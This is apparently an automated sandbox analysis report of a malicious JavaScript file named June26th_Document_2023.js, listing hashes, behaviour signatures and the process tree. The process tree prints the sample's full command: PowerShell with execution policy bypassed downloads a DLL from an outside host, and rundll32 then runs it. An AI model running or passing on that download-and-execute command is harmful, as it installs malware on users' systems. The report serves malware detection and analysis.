Resubmissions

26-06-2023 15:36

230626-s1ydxabc2s 8

26-06-2023 14:10

230626-rg4wxaaa65 8

Analysis

  • max time kernel
    972s
  • max time network
    974s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230621-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230621-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-06-2023 15:36

General

  • Target

    June26th_Document_2023.js

  • Size

    873KB

  • MD5

    54187639d9027e6c3040367bcd69141a

  • SHA1

    85d1274413c026b102dd6e6ddddea6ab8a399c00

  • SHA256

    58d23b1de893e0fed73b8dcb80fcb2f5eb14359970ac35cc4ef0582dd1889134

  • SHA512

    ebef7df4649b83dc34e9004a764a2995d7a5ffecdaed43c0b93bbb20302083260211373561861eb44d14f28986a97315c3ab23b8332e61f410ed049bc536736e

  • SSDEEP

    24576:Vz1cgkPL8Kon29iRvE0azoX4Cpb2FiFRoxfhqAq8hPXJI9a:h1cgkPL8Kon29iRvE0azoX4HFiFRoxf3

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\June26th_Document_2023.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4344
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Invoke-WebRequest https://prodrepbox.com/images/viewforum.php?thread=2547 -OutFile C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3008
  • C:\Windows\system32\rundll32.EXE
    C:\Windows\system32\rundll32.EXE C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll vcab /k vanil357
    1⤵
      PID:4032

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\7EC5BA-BE5D-A4D029-9A4E89BCA4F0\geniuskb.dll

      Filesize

      83B

      MD5

      080e240e1b54ff9c77e558e6e4cfc95c

      SHA1

      7ddec98966ae0734f743f319c37586d33294d8cb

      SHA256

      2915fa731488fc4e621302923c06e6ca01dddd93da68948d14a16764214b08c8

      SHA512

      cf2d1ea1f20d4f0a4fde0373495523a03a25f2c8babaafed0d218c9e9e9f38d8a12ce5b37e2428028386b416404a215c5d23e9f21c2447dabc5930835030cd77

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0yx51exb.4ex.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3008-134-0x0000021592650000-0x0000021592672000-memory.dmp

      Filesize

      136KB

    • memory/3008-144-0x0000021592640000-0x0000021592650000-memory.dmp

      Filesize

      64KB

    • memory/3008-145-0x0000021592640000-0x0000021592650000-memory.dmp

      Filesize

      64KB